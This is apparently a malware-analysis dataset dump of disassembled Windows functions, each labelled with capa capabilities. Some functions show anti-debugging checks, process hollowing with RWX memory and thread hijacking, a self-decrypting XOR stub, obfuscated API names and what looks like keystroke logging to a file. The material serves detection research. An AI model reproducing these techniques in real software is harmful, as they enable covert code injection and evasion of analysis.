joyce8/EMBER2024-capa huggingface dataset:
Function at 0x59dfe0
Capabilities:
Encode data using xor

Disassembly:
xor r10, r10
xor r11, r11
xor r12, r12
cmp r9, 0xd
jne 0x59e087
mov r10, qword [rcx]
mov r11, qword [rcx + 5]
shr r11, 0x18
mov r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
cmp r9, 0x10
jb 0x59e12a
add r10, qword [rcx]
adc r11, qword [rcx + 8]
adc r12, 1
lea rcx, [rcx + 0x10]
sub r9, 0x10
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
jmp 0x59e087
cmp r9, 0
je 0x59e1e3
xor r13, r13
xor r14, r14
xor r15, r15
add rcx, r9
shld r14, r13, 8
shl r13, 8
mov r15b, byte [rcx - 1]
xor r13, r15
dec rcx
dec r9
jne 0x59e140
add r10, r13
adc r11, r14
adc r12, 1
mov rax, qword [rbp]
mov r15, rax
mul r10
mov r13, rax
mov r14, rdx
mov rax, qword [rbp]
mul r11
imul r15, r12
add r14, rax
adc r15, rdx
mov rax, qword [rbp + 8]
mov r8, rax
mul r10
add r14, rax
adc rdx, 0
mov r10, rdx
mov rax, qword [rbp + 8]
mul r11
add r15, rax
adc rdx, 0
imul r8, r12
add r15, r10
adc r8, rdx
mov r10, r13
mov r11, r14
mov r12, r15
and r12, 3
mov r13, r15
and r13, 0xfffffffffffffffc
mov r14, r8
shrd r15, r8, 2
shr r8, 2
add r10, r13
adc r11, r14
adc r12, 0
add r10, r15
adc r11, r8
adc r12, 0
ret
Function at 0x5f2540
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x5f26db
push rbp
mov rbp, rsp
sub rsp, 0x70
mov qword [rsp + 0x80], rax
xor ecx, ecx
jmp 0x5f2561
inc rcx
cmp rbx, rcx
jle 0x5f26d1
movzx edx, byte [rax + rcx]
cmp dl, 0x80
jb 0x5f255e
mov qword [rsp + 0x88], rbx
mov qword [rsp + 0x80], rax
call fcn.0056cac0
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x60], rcx
mov qword [rsp + 0x48], rdi
mov rdx, qword [0x008c2610]
test rsi, rsi
mov r8, qword [rsp + 0x88]
cmovne rbx, r8
mov r8, qword [rsp + 0x80]
cmovne rax, r8
mov r8, rax
mov rax, rdx
mov r9, rbx
mov rbx, r8
mov rcx, r9
mov edi, 1
call fcn.005ee900
mov rdx, qword [rsp + 0x58]
test rdx, rdx
mov rdx, qword [rsp + 0x48]
mov esi, 0
cmovne rdx, rsi
mov r8, qword [rsp + 0x60]
mov r9d, 0
cmovne r8, r9
nop word [rax + rax]
test rcx, rcx
jne 0x5f26c5
test rdx, rdx
je 0x5f26ba
mov qword [rsp + 0x50], rbx
mov qword [rsp + 0x68], rax
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x48], rdx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
call fcn.00403ae0
xorps xmm15, xmm15
mov r14, qword [0x0095e5a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x5f2689
xor eax, eax
lea rbx, [0x006b337c]
mov ecx, 1
mov rdi, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006b3393]
mov r9d, 2
mov r10, qword [rsp + 0x60]
mov r11, qword [rsp + 0x48]
call fcn.004533a0
jmp 0x5f26b0
xor eax, eax
mov rbx, qword [rsp + 0x68]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x0072ca68]
mov esi, 1
mov r8, qword [rsp + 0x60]
mov r9, qword [rsp + 0x48]
call fcn.004532e0
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
mov rdi, r9
add rsp, 0x70
pop rbp
ret
mov rax, r9
mov rbx, rsi
add rsp, 0x70
pop rbp
ret
xor ecx, ecx
xor edi, edi
add rsp, 0x70
pop rbp
ret
mov qword [rsp + 8], rax
mov qword [rsp + 0x10], rbx
call fcn.00469c60
mov rax, qword [rsp + 8]
mov rbx, qword [rsp + 0x10]
jmp fcn.005f2540
Function at 0x6339a0
Capabilities:
Access peb ldr_data

Disassembly:
cmp rsp, qword [r14 + 0x10]
jbe 0x633aa2
push rbp
mov rbp, rsp
sub rsp, 0x68
mov qword [rsp + 0x78], rax
mov rcx, qword [rax + 0x28]
mov rbx, qword [rax + 0x30]
nop
mov rax, rcx
call fcn.00580f00
test rdi, rdi
jne 0x6339f3
mov rbx, qword [0x008d72c0]
mov rdx, qword [rsp + 0x78]
mov rcx, qword [rdx]
mov rdi, qword [rdx + 8]
lea rax, [0x0066bb20]
call fcn.00413740
mov rdi, qword [rax + 8]
mov rcx, qword [rax]
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x48], rdi
mov rax, qword [rsp + 0x78]
call fcn.00633940
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x50], rbx
mov qword [rsp], rax
mov qword [rsp + 8], rbx
mov byte [rsp + 0x10], 0x3a
nop
call fcn.00403ae0
xorps xmm15, xmm15
mov r14, qword [0x0095e5a0]
mov r14, qword gs:[r14]
mov r14, qword [r14]
cmp qword [rsp + 0x18], 0
jl 0x633a75
xor eax, eax
lea rbx, [0x006b337c]
mov ecx, 1
mov rdi, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x50]
lea r8, [0x006b3393]
mov r9d, 2
mov r10, qword [rsp + 0x58]
mov r11, qword [rsp + 0x48]
call fcn.004533a0
jmp 0x633a9c
xor eax, eax
mov rbx, qword [rsp + 0x60]
mov rcx, qword [rsp + 0x50]
lea rdi, [0x0072ca68]
mov esi, 1
mov r8, qword [rsp + 0x58]
mov r9, qword [rsp + 0x48]
call fcn.004532e0
add rsp, 0x68
pop rbp
ret
mov qword [rsp + 8], rax
call fcn.00469c60
mov rax, qword [rsp + 8]
jmp fcn.006339a0
Function at 0x140001000
Capabilities:
Terminate process

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x20
cmp qword [str.LFSOFM43_EMM], 0
mov rsi, rcx
lea rdi, str.LFSOFM43_EMM
je 0x140001056
nop dword [rax]
cmp qword [rdi + 8], 0
lea rbx, [rdi + 8]
je 0x140001049
nop dword [rax + rax]
mov rcx, qword [rbx]
mov rdx, rsi
call fcn.1400032e4
test eax, eax
je 0x14000106b
add rbx, 0x10
cmp qword [rbx], 0
jne 0x140001030
add rdi, 0x1008
cmp qword [rdi], 0
jne 0x140001020
lea rcx, str.dynamic_import.cpp__dynamic_call__is_failure_
call fcn.140002e90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
cmp qword [rbx + 8], 0
mov qword [rsp + 0x40], rbp
mov qword [rsp + 0x48], r14
mov qword [rsp + 0x50], r15
jne 0x14000118c
mov rcx, qword [rbx]
mov rdi, qword [rdi]
call fcn.140003420
mov rcx, rdi
mov r15, rax
call fcn.140003420
mov r14, rax
test r15, r15
je 0x140001177
mov rcx, r15
test rax, rax
je 0x14000117f
cmp byte [r15], 0
je 0x1400010cc
nop dword [rax]
dec byte [rcx]
cmp byte [rcx + 1], 0
lea rcx, [rcx + 1]
jne 0x1400010c0
cmp byte [rax], 0
je 0x1400010dd
dec byte [rax]
cmp byte [rax + 1], 0
lea rax, [rax + 1]
jne 0x1400010d1
xor edi, edi
mov esi, edi
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rbp, rax
test rax, rax
jne 0x1400010fb
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc esi
test rbp, rbp
jne 0x140001120
cmp esi, 4
jl 0x1400010e1
lea rcx, str.dynamic_import.cpp__resolve_call__can_nt_load_module_
call fcn.140002e90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rdx, r15
mov rcx, rbp
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rsi, rax
test rax, rax
jne 0x14000113d
lea ecx, [rax + 0x64]
call qword [sym.imp.KERNEL32.dll_Sleep]
inc edi
test rsi, rsi
jne 0x14000115e
cmp edi, 4
jl 0x140001120
lea rcx, str.dynamic_import.cpp__resolve_call__can_nt_get_function_pointer_
call fcn.140002e90
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov rcx, r15
call fcn.1400033e0
mov rcx, r14
call fcn.1400033e0
mov qword [rbx + 8], rsi
mov rax, rsi
jmp 0x140001190
test rax, rax
je 0x140001184
mov rcx, rax
call fcn.1400033e0
xor edi, edi
mov esi, edi
mov qword [rbx + 8], rdi
mov rax, qword [rbx + 8]
mov r14, qword [rsp + 0x48]
mov rbp, qword [rsp + 0x40]
mov r15, qword [rsp + 0x50]
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret
Function at 0x140001640
Capabilities:
Get file size
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
mov eax, 0x4060
call fcn.14000c950
sub rsp, rax
mov rax, qword [0x1400180d0]
xor rax, rsp
mov qword [rsp + 0x4050], rax
mov rbx, rdx
lea rcx, [rsp + 0x52]
xor esi, esi
xor edx, edx
mov r8d, 0x3ffe
mov word [rsp + 0x50], si
call fcn.140007d70
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrlenA]
or r9d, 0xffffffff
mov r8, rbx
mov edi, eax
lea rax, [rsp + 0x50]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x28], 0xa28
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ebx, dword [0x14002ace4]
lea r14, [0x14002acf0]
lea r8d, [rdi + rdi]
lea rdx, [rsp + 0x50]
lea rcx, [r14 + rbx*2]
call fcn.1400034d0
add ebx, edi
mov dword [0x14002ace4], ebx
call qword [sym.imp.KERNEL32.dll_GetTickCount]
cmp dword [0x14002ace4], 0xc00
jae 0x14000170a
mov ecx, eax
sub ecx, dword [0x14002ace0]
cmp ecx, 0xea60
jae 0x14000170a
xor eax, eax
jmp 0x1400017d3
xor r9d, r9d
mov qword [rsp + 0x30], rsi
lea rcx, [0x140030d30]
lea r8d, [r9 + 3]
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x82
mov dword [0x14002ace0], eax
mov dword [rsp + 0x20], 4
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
je 0x1400017d0
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
mov dword [rsp + 0x40], esi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
test eax, eax
jne 0x140001790
lea r9, [rsp + 0x40]
lea r8d, [rax + 2]
lea rdx, [0x140015a78]
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov r8d, dword [0x14002ace4]
lea r9, [rsp + 0x40]
mov rdx, r14
mov rcx, rdi
add r8d, r8d
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
xor edx, edx
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [0x14002ace4], esi
mov eax, ebx
jmp 0x1400017d3
or eax, 0xffffffff
mov rcx, qword [rsp + 0x4050]
xor rcx, rsp
call fcn.1400031e0
lea r11, [rsp + 0x4060]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop r14
ret
Function at 0x140002760
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x40
mov rax, qword [0x1400180d0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov r9d, 0x64
lea r8, [0x140031010]
mov rbx, rcx
lea edx, [r9 + 3]
call qword [sym.imp.USER32.dll_LoadStringW]
mov r9d, 0x64
lea r8, [0x140030f40]
lea edx, [r9 + 9]
mov rcx, rbx
call qword [sym.imp.USER32.dll_LoadStringW]
mov rcx, rbx
call fcn.140002870
lea rcx, [0x140030d30]
xor edx, edx
mov r8d, 0x208
call fcn.140007d70
xor r9d, r9d
lea rdx, [0x140030d30]
lea r8d, [r9 + 0x1c]
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetSpecialFolderPathA]
lea rcx, [0x140030d00]
xor ebx, ebx
mov dword [rsp + 0x30], ebx
call qword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
lea rcx, str.DsfbufUisfbe
call section..text
lea rcx, [rsp + 0x30]
lea r8, [0x140001800]
mov qword [rsp + 0x28], rcx
xor r9d, r9d
mov edx, 0xffff
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call rax
nop dword [rax + rax]
lea r8, str.Norton_BreakHelper613
xor edx, edx
mov ecx, 0x1f0003
call qword [sym.imp.KERNEL32.dll_OpenEventW]
test rax, rax
je 0x140002820
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [0x140030d00]
call qword [sym.imp.KERNEL32.dll_DeleteCriticalSection]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.1400031e0
add rsp, 0x40
pop rbx
ret
Function at 0x140002e90
Capabilities:
Print debug messages

Disassembly:
mov qword [rsp + 8], rcx
mov qword [rsp + 0x10], rdx
mov qword [rsp + 0x18], r8
mov qword [rsp + 0x20], r9
push rbx
push rsi
push rdi
sub rsp, 0x20
lea rsi, [rsp + 0x48]
mov rdx, rsi
call fcn.140004170
inc eax
movsxd rbx, eax
lea rcx, [rbx + rbx]
call fcn.140004008
mov r8, qword [rsp + 0x40]
mov r9, rsi
mov rcx, rax
mov rdx, rbx
mov rdi, rax
call fcn.1400043b0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_OutputDebugStringW]
mov rcx, rdi
call fcn.1400033e0
add rsp, 0x20
pop rdi
pop rsi
pop rbx
ret

Function at 0x140004e14
Capabilities:
Terminate process

Disassembly:
xor r8d, r8d
xor edx, edx
jmp fcn.140004c7c
Function at 0x140f6edb8
Capabilities:
Encode data using xor

Disassembly:
jmp 0x140f6edc2
push rax
push rcx
push rdx
push rbx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
pushfq
sub rsp, 8
stmxcsr dword [rsp]
call 0x140f6edeb
pop rbp
sub rbp, 0x33
sub rbp, 0xf6edb8
sub rsp, 0x20
jmp 0x140f6ee0a
mov rax, 0xf6edb8
add rax, rbp
add rax, 0x84
mov rcx, 0x60b
mov rdx, 0x68a2d70d
xor byte [rax], dl
inc rax
dec rcx
jne 0x140f6ee29
jmp 0x140f6ee40
test r12b, r12b
xchg byte [rcx + rsi + 0x450d0d0d], al
mov esp, cs
add eax, 0x450d0d0c
or al, 0xe4
retf 0x5cd
Function at 0x140001180
Capabilities:
Terminate process

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
mov rbx, qword [0x1400046c0]
mov rbp, qword [sym.imp.KERNEL32.dll_Sleep]
xor edi, edi
mov rax, qword gs:[0x30]
mov rsi, qword [rax + 8]
jmp 0x1400011c0
cmp rsi, rax
je 0x140001320
mov ecx, 0x3e8
call rbp
mov rax, rdi
lock cmpxchg qword [rbx], rsi
test rax, rax
jne 0x1400011b0
mov rsi, qword [0x1400046d0]
xor edi, edi
mov eax, dword [rsi]
cmp eax, 1
je 0x140001337
mov eax, dword [rsi]
test eax, eax
je 0x1400013a0
mov dword [0x140007008], 1
mov eax, dword [rsi]
cmp eax, 1
je 0x14000134c
test edi, edi
je 0x14000136d
mov rax, qword [0x140004630]
mov rax, qword [rax]
test rax, rax
je 0x140001223
xor r8d, r8d
mov edx, 2
xor ecx, ecx
call rax
call fcn.140001d60
mov rcx, qword [0x140004750]
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
mov rdx, qword [0x1400046b0]
lea rcx, section..text
mov qword [rdx], rax
call sub.api_ms_win_crt_runtime_l1_1_0.dll__set_invalid_parameter_handler
call fcn.140001b70
mov ebx, dword [0x140007028]
lea edi, [rbx + 1]
movsxd rdi, edi
shl rdi, 3
mov rcx, rdi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r12, qword [0x140007020]
mov rbp, rax
test ebx, ebx
jle 0x1400013c0
sub rdi, 8
xor ebx, ebx
mov rcx, qword [r12 + rbx]
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
lea rsi, [rax + 1]
mov rcx, rsi
call sub.api_ms_win_crt_heap_l1_1_0.dll_malloc
mov r8, rsi
mov qword [rbp + rbx], rax
mov rdx, qword [r12 + rbx]
mov rcx, rax
add rbx, 8
call sub.api_ms_win_crt_private_l1_1_0.dll_memcpy
cmp rdi, rbx
jne 0x140001280
add rdi, rbp
mov qword [rdi], 0
mov qword [0x140007020], rbp
call fcn.140001970
mov rax, qword [0x140004640]
mov r8, qword [0x140007018]
mov ecx, dword [0x140007028]
mov rax, qword [rax]
mov qword [rax], r8
mov rdx, qword [0x140007020]
call fcn.14000147a
mov ecx, dword [0x14000700c]
mov dword [0x140007010], eax
test ecx, ecx
je 0x1400013c8
mov edx, dword [0x140007008]
test edx, edx
je 0x140001380
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rsi, qword [0x1400046d0]
mov edi, 1
mov eax, dword [rsi]
cmp eax, 1
jne 0x1400011e1
mov ecx, 0x1f
call fcn.140002b10
mov eax, dword [rsi]
cmp eax, 1
jne 0x140001200
mov rdx, qword [0x1400046f0]
mov rcx, qword [0x1400046e0]
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
mov dword [rsi], 2
test edi, edi
jne 0x140001208
xor eax, eax
xchg qword [rbx], rax
jmp 0x140001208
call sub.api_ms_win_crt_runtime_l1_1_0.dll__cexit
mov eax, dword [0x140007010]
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rdx, qword [0x140004710]
mov rcx, qword [0x140004700]
mov dword [rsi], 1
call sub.api_ms_win_crt_runtime_l1_1_0.dll__initterm
jmp 0x1400011f5
mov rdi, rax
jmp 0x1400012b5
mov ecx, eax
call sub.api_ms_win_crt_runtime_l1_1_0.dll_exit
nop
Function at 0x140001519
Capabilities:
Check for debugger via api
Check for time delay via gettickcount
Terminate process

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
call rax
test eax, eax
jne 0x14000154c
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
call rax
test eax, eax
je 0x14000155a
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 4], eax
mov ecx, 0x1f4
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp - 8], eax
mov eax, dword [rbp - 8]
sub eax, dword [rbp - 4]
cmp eax, 0x258
jbe 0x14000159b
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov dword [rbp - 0x1c], 0
lea rax, str.ntdll.dll
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp - 0x10], rax
cmp qword [rbp - 0x10], 0
je 0x140001634
mov rax, qword [rbp - 0x10]
lea rdx, str.NtQueryInformationProcess
mov rcx, rax
call fcn.140001450
mov qword [rbp - 0x18], rax
cmp qword [rbp - 0x18], 0
je 0x140001624
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov rcx, rax
lea rdx, [rbp - 0x1c]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp - 0x18]
mov r9d, 4
mov r8, rdx
mov edx, 7
call rax
test eax, eax
jne 0x140001624
mov eax, dword [rbp - 0x1c]
test eax, eax
je 0x140001624
mov ecx, 1
mov rax, qword [sym.imp.KERNEL32.dll_ExitProcess]
call rax
mov rax, qword [rbp - 0x10]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
nop
add rsp, 0x50
pop rbp
ret
Function at 0x14000163b
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Resume thread
Use process replacement

Disassembly:
push rbp
sub rsp, 0x5b0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x540], rcx
mov qword [rbp + 0x548], rdx
mov qword [rbp + 0x550], r8
lea rax, [rbp + 0x4c0]
mov r8d, 0x68
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp + 0x4a0]
mov r8d, 0x18
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
lea rax, [rbp - 0x30]
mov r8d, 0x4d0
mov edx, 0
mov rcx, rax
call sub.api_ms_win_crt_string_l1_1_0.dll_memset
mov dword [rbp + 0x4c0], 0x68
mov rax, qword [rbp + 0x540]
lea rdx, [rbp + 0x4a0]
mov qword [rsp + 0x48], rdx
lea rdx, [rbp + 0x4c0]
mov qword [rsp + 0x40], rdx
mov qword [rsp + 0x38], 0
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
mov r9d, 0
mov r8d, 0
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CreateProcessA]
call rax
test eax, eax
je 0x1400017eb
mov dword [rbp], 0x10000b
mov rax, qword [rbp + 0x4a8]
lea rdx, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetThreadContext]
call rax
mov rax, qword [rbp + 0x4a0]
mov rdx, qword [rbp + 0x550]
mov dword [rsp + 0x20], 0x40
mov r9d, 0x1000
mov r8, rdx
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call rax
mov qword [rbp + 0x528], rax
cmp qword [rbp + 0x528], 0
je 0x1400017ec
mov rax, qword [rbp + 0x4a0]
mov r8, qword [rbp + 0x550]
mov rcx, qword [rbp + 0x548]
mov rdx, qword [rbp + 0x528]
mov qword [rsp + 0x20], 0
mov r9, r8
mov r8, rcx
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call rax
mov rax, qword [rbp + 0x528]
mov qword [rbp + 0xc8], rax
mov rax, qword [rbp + 0x4a8]
lea rdx, [rbp - 0x30]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_SetThreadContext]
call rax
mov rax, qword [rbp + 0x4a8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_ResumeThread]
call rax
jmp 0x1400017ec
nop
add rsp, 0x5b0
pop rbp
ret

Function at 0x140001b80
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
mov rbx, rcx
lea rax, [rsp + 0x58]
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov r8d, 0x1b
mov edx, 1
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call sub.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call fcn.140002980
call sub.api_ms_win_crt_runtime_l1_1_0.dll_abort
nop
nop dword [rax]
Function at 0x140001bf0
Capabilities:
Allocate or change rwx memory

Disassembly:
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x140007094]
mov rbx, rcx
test esi, esi
jle 0x140001d20
mov rax, qword [0x140007098]
xor r9d, r9d
add rax, 0x18
nop word [rax + rax]
mov r8, qword [rax]
cmp rbx, r8
jb 0x140001c3b
mov rdx, qword [rax + 8]
mov edx, dword [rdx + 8]
add r8, rdx
cmp rbx, r8
jb 0x140001cc5
add r9d, 1
add rax, 0x28
cmp r9d, esi
jne 0x140001c20
mov rcx, rbx
call fcn.140002660
mov rdi, rax
test rax, rax
je 0x140001d42
mov rax, qword [0x140007098]
lea rbx, [rsi + rsi*4]
shl rbx, 3
add rax, rbx
mov qword [rax + 0x20], rdi
mov dword [rax], 0
call fcn.1400027a0
mov edx, dword [rdi + 0xc]
mov r8d, 0x30
lea rcx, [rax + rdx]
mov rax, qword [0x140007098]
lea rdx, [rsp + 0x20]
mov qword [rax + rbx + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x140001d27
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x140001cbe
lea edx, [rax - 0x40]
and edx, 0xffffffbf
jne 0x140001cd0
add dword [0x140007094], 1
add rsp, 0x50
pop rbx
pop rsi
pop rdi
ret
cmp eax, 2
mov rcx, qword [rsp + 0x20]
mov rdx, qword [rsp + 0x38]
mov r8d, 0x40
mov eax, 4
cmove r8d, eax
add rbx, qword [0x140007098]
mov qword [rbx + 8], rcx
mov r9, rbx
mov qword [rbx + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001cbe
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call fcn.140001b80
nop dword [rax]
xor esi, esi
jmp 0x140001c48
mov rax, qword [0x140007098]
mov edx, dword [rdi + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rbx + 0x18]
call fcn.140001b80
mov rdx, rbx
lea rcx, str.Address__p_has_no_image_section
call fcn.140001b80
nop
nop word cs:[rax + rax]
nop dword [rax]

Function at 0x1400022d0
Capabilities:
Get thread local storage value

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x20
lea r12, [0x140007100]
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x1400070e0]
test rbx, rbx
je 0x14000232c
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop dword [rax]
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test rsi, rsi
je 0x140002323
test eax, eax
jne 0x140002323
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x140002308
mov rcx, r12
add rsp, 0x20
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
Function at 0x140002660
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140004600]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x140002680
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x140002688
ret
cmp word [r8 + 0x18], 0x20b
jne 0x140002680
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x1400026dd
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x1400026d4
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x140002680
add rax, 0x28
cmp rax, r9
jne 0x1400026c0
xor eax, eax
ret

Function at 0x1400026e0
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140004600]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x1400026ff
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002708
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x1400026ff
movzx ecx, word [rax + 6]
mov eax, ecx
ret

Function at 0x1400027a0
Capabilities:
Parse pe header

Disassembly:
